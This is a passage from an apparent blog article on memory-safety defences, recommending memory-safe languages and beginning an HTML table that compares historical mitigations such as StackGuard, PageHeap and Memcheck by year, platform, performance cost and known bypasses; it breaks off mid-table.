mitigations, collaborative hardware-software efforts, and proactive development practices positions the cybersecurity community to stay one step ahead in the ongoing cat-and-mouse game with malicious actors.</p><p></p><p><strong>Memory-safe Programming Languages:</strong></p><p>Using memory-safe programming languages, such as Rust or Ada, can provide inherent memory protection by preventing common programming errors like buffer overflows, use-after-free, and null pointer dereferences. These languages incorporate memory safety features into their design and mitigate many memory-related vulnerabilities. Major platform vendors like Microsoft and linux kernel are spending their resources and money to shift the core of their operating system from C/C++ to more robust language rust. It will be interesting to see the outcome in upcoming years.</p><h1 id="mitigation-matrix">Mitigation matrix:</h1><p></p><p>The matrix provided below will prove beneficial for both security researchers and developers. Security professionals can utilize it to identify the current mitigations available and the potential challenges they may encounter in real-world applications. Developers can also make use of this matrix to determine the necessary measures to incorporate into their applications while ensuring minimal impact on performance.<br></p><p><em>Yellow: First generation mitigation</em></p><p><em>Blue: Second generation mitigation</em></p><p><em>Blue: Error detection tools</em></p><!--kg-card-begin: html--><table xmlns="http://www.w3.org/1999/xhtml" cellspacing="0" cellpadding="0" dir="ltr" border="1" style="table-layout:fixed;font-size:11pt;font-family:aptos narrow;width:0px;border-collapse:collapse;border:none" data-sheets-root="1"><colgroup><col width="134"><col width="68"><col width="119"><col width="267"><col width="81"><col width="141"><col width="68"><col width="68"><col width="136"><col width="168"><col width="91"></colgroup><tbody><tr style="height:19px;"><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;border-left:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Mitigation&quot;}">Mitigation</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Year&quot;}">Year</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool/Technique&quot;}">Tool/Technique</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Targeted vulnerabilities&quot;}">Targeted vulnerabilities</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Hardware assisted&quot;}">Hardware assisted</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;OS support&quot;}">OS support</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Default present&quot;}">Default present</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Kernel support&quot;}">Kernel support</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active/Deprecated&quot;}">Active/Deprecated</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Perf impact&quot;}">Perf impact</td><td style="border-top:1px solid #b2b2b2;border-right:1px solid #b2b2b2;border-bottom:1px solid #b2b2b2;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#ffffcc;font-family:aptos;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Significant Bypasses&quot;}">Significant Bypasses</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;BoundCheck&quot;}">BoundCheck</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:1992}">1992</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow, Use after free, Double free&quot;}">Stack overflow, Use after free, Double free</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Windows&quot;}">Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Deprecated&quot;}">Deprecated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;High&quot;}">High</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;PageHeap&quot;}">PageHeap</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;     ~1995&quot;}">     ~1995</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Heap Overflow, Double free, Use after free&quot;}">Heap Overflow, Double free, Use after free</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Windows&quot;}">Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;High&quot;}">High</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;StackGuard&quot;}">StackGuard</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:1997}">1997</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow&quot;}">Stack overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Libsafe/Libverify&quot;}">Libsafe/Libverify</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2000}">2000</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow&quot;}">Stack overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Deprecated&quot;}">Deprecated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack Shield&quot;}">Stack Shield</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2000}">2000</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow&quot;}">Stack overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Deprecated&quot;}">Deprecated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Not available&quot;}">Not available</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack Ghost&quot;}">Stack Ghost</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2001}">2001</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow&quot;}">Stack overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Deprecated&quot;}">Deprecated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Memcheck&quot;}">Memcheck</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2003}">2003</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Use after free, Buffer overflow, Illegal read/write, Double free, Memory leaks&quot;}">Use after free, Buffer overflow, Illegal read/write, Double free, Memory leaks</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Upto 40%&quot;}">Upto 40%</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid 